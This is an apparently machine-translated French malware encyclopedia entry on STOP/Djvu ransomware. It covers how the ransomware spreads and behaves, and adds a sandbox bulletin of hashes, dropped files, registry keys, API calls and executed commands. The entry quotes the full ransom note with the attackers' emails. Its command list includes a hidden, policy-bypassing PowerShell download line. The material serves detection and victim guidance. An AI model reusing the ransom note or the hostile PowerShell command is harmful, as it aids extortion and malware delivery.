ARRÊTER Djvu Ransomware

La famille STOP ransomware, également appelée famille STOP Djvu Ransomware, est un malware menaçant. STOP Djvu n'est que l'une des multiples menaces qui partagent des caractéristiques communes et proviennent du ransomware STOP, même si certaines de leurs méthodes pour affecter les types de fichiers et crypter les extensions de fichiers diffèrent.

Le Ransomware STOP original a été repéré par des chercheurs en sécurité dès février 2018. Cependant, depuis lors, il a évolué et sa famille de clones et de ramifications s'est agrandie. La principale méthode de distribution du ransomware STOP était les campagnes de spam par e-mail utilisant des pièces jointes corrompues.

Le ransomware STOP Djvu fonctionne de manière similaire aux autres menaces de ransomware de ce type, chiffrant et bloquant l'accès aux fichiers clés que les utilisateurs peuvent utiliser dans leur système. Les fichiers personnels, les images, les documents et plus encore peuvent être cryptés et essentiellement désactivés pour tous les utilisateurs de la machine. Le ransomware STOP Djvu a été repéré pour la première fois en décembre 2018 dans le cadre de ce qui semblait être une campagne d'infection en ligne assez réussie. Les chercheurs n'étaient pas au courant de la façon dont le ransomware se propageait, mais des victimes plus tard ont déclaré avoir découvert des infections après avoir téléchargé des keygens ou des fissures. Une fois l'infiltration effectuée, STOP Djvu ransomware modifie les paramètres Windows, en ajoutant des fichiers avec une plage de noms, tels que .djvu, .djvus, .djvuu, .uudjvu, .udjvu ou .djvuq et les extensions récentes .promorad et .promock. Les versions les plus récentes n'ont pas encore de décrypteur, mais les plus anciennes peuvent être décryptées à l'aide du STOPDecrypter. Il est conseillé aux utilisateurs d'éviter de payer une rançon, quoi qu'il arrive.

La méthode utilisée pour bloquer l'accès aux fichiers utilise l'algorithme de cryptage RSA. Bien que le décryptage des fichiers puisse sembler difficile pour les utilisateurs inexpérimentés, il n'est certainement pas nécessaire de faire des efforts pour payer les personnes derrière la menace. De fausses promesses sont généralement données dans de telles situations, de sorte que les utilisateurs peuvent rapidement découvrir qu'elles sont ignorées une fois les paiements effectués.

Les attaques du ransomware STOP Djvu ont été signalées pour la première fois fin 2018. La principale méthode de distribution de STOP Djvu restait les spams et les ajustements au cœur du ransomware étaient relativement mineurs. La majorité des fausses pièces jointes compromises utilisées dans les e-mails de spam étaient des documents bureautiques prenant en charge les macros ou de faux fichiers PDF qui exécuteraient le ransomware à l'insu de la victime. Le comportement de STOP Djvu n'a pas beaucoup changé non plus - le ransomware supprime toujours tous les instantanés Shadow Volume pour se débarrasser des sauvegardes, puis commence à chiffrer les fichiers de la victime.

Il y a des changements mineurs dans la note de rançon, qui est enregistrée sous «_openme.txt» sur le bureau de la victime. Le texte de la note de rançon peut être trouvé ici:

'[début de la note de rançon]
———————— TOUS VOS FICHIERS SONT CRYPTÉS ————————

Ne vous inquiétez pas, vous pouvez renvoyer tous vos fichiers!
Tous vos documents, photos, bases de données et autres fichiers importants sont cryptés avec le cryptage le plus fort et la clé unique.
La seule méthode de récupération de fichiers consiste à acheter un outil de décryptage et une clé unique pour vous.
Ce logiciel décryptera tous vos fichiers cryptés.
Quelles garanties vous donnons-nous?
Vous pouvez envoyer l'un de vos fichiers cryptés depuis votre PC et nous le décrypterons gratuitement.
Mais nous ne pouvons décrypter qu'un seul fichier gratuitement. Le fichier ne doit pas contenir d'informations précieuses
N'essayez pas d'utiliser des outils de déchiffrement tiers car cela détruirait vos fichiers.
Remise de 50% disponible si vous nous contactez dans les 72 premières heures.

——————————————————————————————————-

Pour obtenir ce logiciel, vous devez écrire sur notre e-mail:
helphadow@india.com

Réservez une adresse e-mail pour nous contacter:
helphadow@firemail.cc

Votre identifiant personnel: [string]
[fin de la note de rançon] '

Le ransomware s'est limité à renommer les fichiers cryptés avec l'extension .djvu à l'origine, ce qui était un choix curieux car .djvu est en fait un format de fichier légitime développé par les laboratoires AT&T et utilisé pour stocker des documents numérisés, un peu similaire au .pdf d'Adobe. Les versions ultérieures du ransomware ont adopté une série d'autres extensions pour les fichiers cryptés, notamment «.chech», «.luceq», «.kroput1,« .charck, «» .kropun ,, «.luces», «.pulsar1, ".uudjvu", ".djvur," .tfude, ".tfudeq" et ".tfudet".

Certaines souches du ransomware STOP Djvu peuvent être déchiffrées gratuitement, en utilisant le soi-disant «STOPDecrypter» qui a été développé par le chercheur en sécurité Michael Gillespie et est disponible en ligne en téléchargement gratuit.

Table des matières

Toggle

ARRÊTER Djvu Ransomware Vidéo

Astuce: Activez votre son et regarder la vidéo en mode plein écran.

ARRÊTER Djvu Ransomware captures d'écran

Bulletin d'analyse

Informations générales

Nom de famille :	STOP/DJVU Ransomware
Statut de la signature :	No Signature

Échantillons connus

i

Échantillons connus

Cette section répertorie d'autres exemples de fichiers que l'on pense être associés à cette famille.

MD5: def8a7bfe5fe47d95a95085d8dbc7a53 SHA1: 7182d4b2f55a560d83edf0824e119f71fa8422b6 SHA256: B83855EA63E7F28396099A5B6E877BE537E78E4A50DF720262461A1D13B02192 Taille du fichier: 6.29 MB 6292105 octets

MD5: a6b8c0cb178c31dd347554c3e5a0d5f8 SHA1: 91864f269d696ee80869cfeb3c9a204f8031a3bb SHA256: 4FFB8E9ADF508662B5E51CBEC75B2E07CE1CBBFAAB873F72EDC7BAC385421E2C Taille du fichier: 3.47 MB 3471869 octets

MD5: 2336c9624d9a44c393d354206226f508 SHA1: ea7edc388ad62990f52b9ed40df26d20f4e20190 SHA256: CE48ED04C92143B7E91F9665DD9337B2EE0B9CC1B5AEE534D26C09E084F8ABB0 Taille du fichier: 1.36 MB 1359918 octets

MD5: 42f32aa699bc45a3638ddeb325ebebc1 SHA1: 508cea3ba2bf04cc6851295f92bf0e752071f6b8 SHA256: 16532B38591B713395C288B11610494BCC4C4537BE492D43C54D66FEB7B95FA4 Taille du fichier: 1.33 MB 1328186 octets

MD5: 2391d41548b6432191f73edefa273928 SHA1: 620b714f84955aa7fb9a2f2cd528daa1621e18af SHA256: 4D1EFAA3477B0B8D84025F3F0109E97ABA7CEB37F174B9DC79B7966CBB430959 Taille du fichier: 3.36 MB 3357556 octets

Afficher plus

MD5: 710c3a1beb616d4aa7d5ed9a7f8848e4 SHA1: 326da9ddc0ea840e83f31fbf1f3377a06c911fe5 SHA256: 051DAB5E5247E25D6EB059A574383FB1EC99A5A4AAF9AA3694240FE25FA260AB Taille du fichier: 1.36 MB 1364106 octets

MD5: 601b120a6f39f72847b2f581a3d5f158 SHA1: 0cc5781c1cfe6c5d034bd098229773e80e083732 SHA256: BEC2BFF460615A35D4EA35BF25E9F89337E35E73441A4AC07562CE8E89BED818 Taille du fichier: 4.86 MB 4858569 octets

MD5: a7b76a49f289081961f8f3824f0b62ca SHA1: 6908790199785be7fc6c4eeb1fe426ee1b66cc0b SHA256: 1A721E054386833AEBBF94C75871143376897E92C4A48278DDE95E6987634F45 Taille du fichier: 1.41 MB 1406899 octets

MD5: 9f37930d62a1e08f68aa0a72472e7a55 SHA1: 27706b3ff639e5dfa264a823dbe9229cf34ae153 SHA256: 29039902EEA4EE24C4C6368AA9B1D7F86BEC65ADA3ABDB0B92C1FEF311ACD31F Taille du fichier: 600.12 KB 600124 octets

MD5: 7a18839fe61e9cde0e8fea3100acfb2b SHA1: 9476c97a73e027016e9f6f2f20c2fb19264cd837 SHA256: 0271095F0AD5C6F26C9738ED5636E751B8868C1AE3B08D5D8C5218121D9FEEAF Taille du fichier: 316.83 KB 316832 octets

MD5: fe17d0f940a226e80cc18b4399da4ffc SHA1: cc1bd23b0c7ff5da8ff996717b3969b7ebb9c67b SHA256: D869A00DFA1BE0DF6D08BB72B790894D1861834D5E350F5DD54A70C3711BA713 Taille du fichier: 1.36 MB 1363661 octets

MD5: ed83bea5600457af815495b10f235b87 SHA1: 14ac62ce3ae6b19186544e46ad7710d1814e3a9c SHA256: FC0AE843E31F77574448FF343F0E92A9F1953B43DC2495FFE2CA5F7F8E777401 Taille du fichier: 9.59 MB 9590154 octets

MD5: 8cc4ef6bfd98074474e53cefc0029d0a SHA1: 7604b8cd9736a016748a1d2d1fe3eb9ec9db1bc9 SHA256: 72BE2A65C8E36058A40FB1EF582E944721F5D041044F454509242E00E6745198 Taille du fichier: 1.41 MB 1407173 octets

MD5: 75e7ec1010908f6cf964ee32c9d57fed SHA1: 7cccec52318eadb6771ceef6404e19fc46ec8d07 SHA256: A309D56010D51F07741773ABCC44C767EF99C1031DEFA575F07D11DD11F09E35 Taille du fichier: 2.44 MB 2442353 octets

Attributs des exécutables portables Windows

i

Attributs des exécutables portables Windows

Cette section répertorie les attributs de fichiers présents dans les échantillons de la famille. Ces attributs sont extraits de la spécification Windows PE (Portable Executable) des fichiers et de divers indicateurs système. Les attributs des exécutables portables permettent aux chercheurs en sécurité informatique d'obtenir des informations sur les fonctionnalités, les détails d'exécution, la plateforme et l'environnement d'exécution d'un fichier.

• File doesn't have "Rich" header
• File doesn't have debug information
• File doesn't have exports table
• File doesn't have relocations information
• File doesn't have security information
• File has exports table
• File has TLS information
• File is 32-bit executable
• File is 64-bit executable
• File is either console or GUI application

Afficher plus

• File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
• File is Native application (NOT .NET application)
• File is not packed
• IMAGE_FILE_DLL is not set inside PE header (Executable)
• IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)

Icônes de fichiers

i

Icônes de fichiers

Cette section présente les ressources d'icônes trouvées dans les échantillons de la famille. Les logiciels malveillants reproduisent souvent des icônes couramment associées à des logiciels légitimes afin d'induire les utilisateurs en erreur et de leur faire croire qu'ils sont sûrs.

Informations sur la version de Windows PE

i

Informations sur la version de Windows PE

Cette section présente les valeurs et les attributs définis dans la structure de données des informations de version des fichiers Windows pour les échantillons de cette famille. Afin de tromper les utilisateurs, les auteurs de logiciels malveillants ajoutent souvent de fausses informations de version imitant celles des logiciels légitimes.

Nom	Évaluer
Assembly Version	1.4.1.0
Comments	This installation was built with Inno Setup.
Company Name	Alexander Roshal Microsoft TrayToolbar win.rar GmbH WinTools Software Engineering, Ltd.
File Description	Archiwizer WinRAR Gestione archivi WinRAR RAM Saver Professional TrayToolbar WinRAR 5.60 64 Bit Setup WinRAR archiver WinRAR Installer
File Version	26.3.1 26.2.1 26.0.1 25.7.1 25.6.1 25.4.1 7.21.0.0 6.20.2 6.2.0 1.4.1.0 Afficher plus 1.3.0.0 1.00
Internal Name	TJprojMain TrayToolbar.dll Win WinRAR winrar-7.21-setup
Legal Copyright	Copyright © 1993-2026 Александр Рошал Copyright © Alexander Roshal 1993-2021 Copyright © Alexander Roshal 1993-2022 Copyright © Alexander Roshal 1993-2025 © Brontech, LLC
Original Filename	TJprojMain.exe TrayToolbar.dll Win.exe winrar-7.21-setup.exe WinRAR.exe
Product Name	Project1 RAM Saver 25.4.1 Professional RAM Saver 25.6.1 Professional RAM Saver 25.7.1 Professional RAM Saver 26.0.1 Professional RAM Saver 26.2.1 Professional RAM Saver 26.3.1 Professional TrayToolbar Win WinRAR Afficher plus WinRAR 5.60 64 Bit WinRAR Installer
Product Version	26.3.1 26.2.1 26.0.1 25.7.1 25.6.1 25.4.1 7.21 6.20.2 6.2.0 5.60 Afficher plus 1.4.1+80dec33e25323db7125ddec35b475aa881292801 1.4.0 1.00

Signatures numériques

i

Signatures numériques

Cette section répertorie les signatures numériques associées aux échantillons de cette famille. Lors de l'analyse et de la vérification des signatures numériques, il est essentiel de s'assurer que l'autorité racine de la signature est une entité reconnue et digne de confiance, et que le statut de la signature est valide. Les logiciels malveillants sont souvent signés avec des signatures numériques « auto-signées » non fiables (facilement créables par un auteur de logiciel malveillant sans vérification). Ils peuvent également être signés par des signatures légitimes dont le statut est invalide, ou par des signatures provenant d'autorités racines douteuses, avec des noms de « signataire » falsifiés ou trompeurs.

Signataire	Racine	Statut
win.rar GmbH	DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1	Self Signed
win.rar GmbH	GlobalSign CodeSigning CA - SHA256 - G3	Hash Mismatch

Caractéristiques du fichier

• .NET
• 2+ executable sections
• big overlay
• fptable
• HighEntropy
• Inno
• InnoSetup Installer
• Installer Manifest
• Installer Version
• MZ (In Overlay)

Afficher plus

• No Version Info
• Nullsoft Installer
• RAR (In Overlay)
• RARinO
• Run
• SusSec
• vb6
• WinRAR SFX
• WRARSFX
• x64
• x86

Fichiers modifiés

i

Fichiers modifiés

Cette section répertorie les fichiers créés, modifiés, déplacés et/ou supprimés par les échantillons de cette famille. L'activité du système de fichiers peut fournir des informations précieuses sur le fonctionnement des logiciels malveillants au sein du système d'exploitation.

Déposer	Attributs
\device\namedpipe	Generic Read,Write Attributes
\device\namedpipe	Generic Write,Read Attributes
\device\namedpipe\gmdasllogger	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-13e8d.tmp\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-2buvv.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-88uan.tmp\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-8gkji.tmp\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-af9e7.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-bfiig.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-dlucn.tmp\7604b8cd9736a016748a1d2d1fe3eb9ec9db1bc9_0001407173.tmp	Generic Write,Read Attributes

Afficher plus

c:\users\user\appdata\local\temp\is-du263.tmp\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-i0kj9.tmp\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-jos42.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-l4opd.tmp\cc1bd23b0c7ff5da8ff996717b3969b7ebb9c67b_0001363661.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-pk5hm.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-r9udb.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-shkd6.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\nshfa46.tmp\chip.bmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\header.bmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\nsdialogs.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\screenshot.bmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\system.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\winrar-x64-721b1ru.exe	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\yandex.bmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\yandexbrowsersetup.exe	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nsrfa35.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data,Delete
c:\users\user\appdata\local\temp\nsva331.tmp\banner.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nsva331.tmp\nsexec.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nsva331.tmp\system.dll	Generic Write,Read Attributes

Modifications du registre

i

Modifications du registre

Cette section répertorie les clés et valeurs de registre créées, modifiées et/ou supprimées par les échantillons de cette famille. L'activité du registre Windows peut fournir des informations précieuses sur le fonctionnement des logiciels malveillants. De plus, ces derniers créent souvent des valeurs de registre pour pouvoir démarrer automatiquement et persister indéfiniment après une infection initiale du système.

Clé::Valeur	Données	Nom de l'API
HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75	wk �8�jg�B �� �6 �v�� 7� �� �� ۀ ���T�B���������% ��3bBx�< ���! #�� $kF $��%`�%� &� &�-'�! (�(X�(� ) ; )E )�`*J*9 *�" ,=�-!R0P% 1`1�1HO5,]5�G>��@V�@�* A��B B��E�mF	RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe	졷鑂셱ǜ	RegNtPreCreateKey

Utilisation de l’API Windows

i

Utilisation de l'API Windows

Cette section répertorie les appels d'API Windows utilisés par les exemples de cette famille. L'analyse de l'utilisation des API Windows est un outil précieux permettant d'identifier les activités malveillantes, telles que l'enregistrement des frappes au clavier, l'élévation de privilèges, le chiffrement et l'exfiltration de données, l'interférence avec les logiciels antivirus et la manipulation des requêtes réseau.

Catégorie	API
Other Suspicious	SetWindowsHookEx
Anti Debug	IsDebuggerPresent OutputDebugString
User Data Access	GetUserDefaultLocaleName GetUserObjectInformation
Process Manipulation Evasion	NtUnmapViewOfSection ZwMapViewOfSection
Process Shell Execute	CreateProcess
Keyboard Access	GetKeyState
Syscall Use	ntdll.dll!NtAccessCheck ntdll.dll!NtAlertThreadByThreadId ntdll.dll!NtAlpcConnectPortEx ntdll.dll!NtAlpcCreateSecurityContext ntdll.dll!NtAlpcDeleteSecurityContext ntdll.dll!NtAlpcQueryInformation ntdll.dll!NtAlpcSendWaitReceivePort ntdll.dll!NtApphelpCacheControl ntdll.dll!NtClearEvent ntdll.dll!NtClose Afficher plus ntdll.dll!NtConnectPort ntdll.dll!NtCreateEvent ntdll.dll!NtCreateMutant ntdll.dll!NtCreateSection ntdll.dll!NtCreateSemaphore ntdll.dll!NtCreateThreadEx ntdll.dll!NtDuplicateObject ntdll.dll!NtDuplicateToken ntdll.dll!NtEnumerateValueKey ntdll.dll!NtFreeVirtualMemory ntdll.dll!NtMapViewOfSection ntdll.dll!NtNotifyChangeKey ntdll.dll!NtOpenDirectoryObject ntdll.dll!NtOpenEvent ntdll.dll!NtOpenFile ntdll.dll!NtOpenKey ntdll.dll!NtOpenKeyEx ntdll.dll!NtOpenProcessToken ntdll.dll!NtOpenProcessTokenEx ntdll.dll!NtOpenSection ntdll.dll!NtOpenSemaphore ntdll.dll!NtOpenThreadToken ntdll.dll!NtOpenThreadTokenEx ntdll.dll!NtProtectVirtualMemory ntdll.dll!NtQueryAttributesFile ntdll.dll!NtQueryFullAttributesFile ntdll.dll!NtQueryInformationFile ntdll.dll!NtQueryInformationProcess ntdll.dll!NtQueryInformationThread ntdll.dll!NtQueryInformationToken ntdll.dll!NtQueryKey ntdll.dll!NtQueryLicenseValue ntdll.dll!NtQueryPerformanceCounter ntdll.dll!NtQuerySecurityAttributesToken ntdll.dll!NtQuerySecurityObject ntdll.dll!NtQuerySystemInformation ntdll.dll!NtQuerySystemInformationEx ntdll.dll!NtQueryValueKey ntdll.dll!NtQueryVirtualMemory ntdll.dll!NtQueryVolumeInformationFile ntdll.dll!NtQueryWnfStateData ntdll.dll!NtReleaseMutant ntdll.dll!NtReleaseSemaphore ntdll.dll!NtReleaseWorkerFactoryWorker ntdll.dll!NtRequestWaitReplyPort ntdll.dll!NtResumeThread ntdll.dll!NtSetEvent ntdll.dll!NtSetInformationKey ntdll.dll!NtSetInformationProcess ntdll.dll!NtSetInformationThread ntdll.dll!NtSetInformationVirtualMemory ntdll.dll!NtSetInformationWorkerFactory ntdll.dll!NtSetTimer2 ntdll.dll!NtSubscribeWnfStateChange ntdll.dll!NtTestAlert ntdll.dll!NtTraceControl ntdll.dll!NtUnmapViewOfSection ntdll.dll!NtUnmapViewOfSectionEx ntdll.dll!NtWaitForAlertByThreadId ntdll.dll!NtWaitForMultipleObjects ntdll.dll!NtWaitForSingleObject ntdll.dll!NtWaitForWorkViaWorkerFactory ntdll.dll!NtWaitLowEventPair ntdll.dll!NtWorkerFactoryWorkerReady ntdll.dll!NtWriteFile UNKNOWN
Encryption Used	BCryptOpenAlgorithmProvider

Exécution de commandes Shell

i

Exécution de commandes Shell

Cette section répertorie les commandes de l'interpréteur de commandes Windows exécutées par les échantillons de cette famille. Ces commandes sont fréquemment utilisées par les logiciels malveillants à des fins malveillantes et peuvent servir à élever les privilèges d'administrateur, télécharger et exécuter d'autres logiciels malveillants, exploiter des vulnérabilités, collecter et exfiltrer des données, et dissimuler des activités malveillantes.

"C:\Users\Lehsoaco\AppData\Local\Temp\is-88UAN.tmp\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918.tmp" /SL5="$5036E,928289,131584,c:\users\user\downloads\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918"

"C:\Users\Dfhrhqtz\AppData\Local\Temp\is-13E8D.tmp\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186.tmp" /SL5="$802E8,896816,131584,c:\users\user\downloads\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186"

"C:\Users\Eberzneu\AppData\Local\Temp\is-DU263.tmp\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106.tmp" /SL5="$30364,932379,131584,c:\users\user\downloads\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106"

"C:\Users\Qxnqehmu\AppData\Local\Temp\is-8GKJI.tmp\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569.tmp" /SL5="$402E8,3435751,309760,c:\users\user\downloads\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569"

"C:\Users\Qlwpcgcn\AppData\Local\Temp\is-I0KJ9.tmp\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899.tmp" /SL5="$30336,975597,131584,c:\users\user\downloads\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899"

Afficher plus

powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "try { $WebClient = New-Object System.Net.WebClient

"C:\Users\Czxnhiuo\AppData\Local\Temp\is-L4OPD.tmp\cc1bd23b0c7ff5da8ff996717b3969b7ebb9c67b_0001363661.tmp" /SL5="$40356,931898,131584,c:\users\user\downloads\cc1bd23b0c7ff5da8ff996717b3969b7ebb9c67b_0001363661"

"C:\Users\Rziyzfeg\AppData\Local\Temp\is-DLUCN.tmp\7604b8cd9736a016748a1d2d1fe3eb9ec9db1bc9_0001407173.tmp" /SL5="$1C02AC,975756,131584,c:\users\user\downloads\7604b8cd9736a016748a1d2d1fe3eb9ec9db1bc9_0001407173"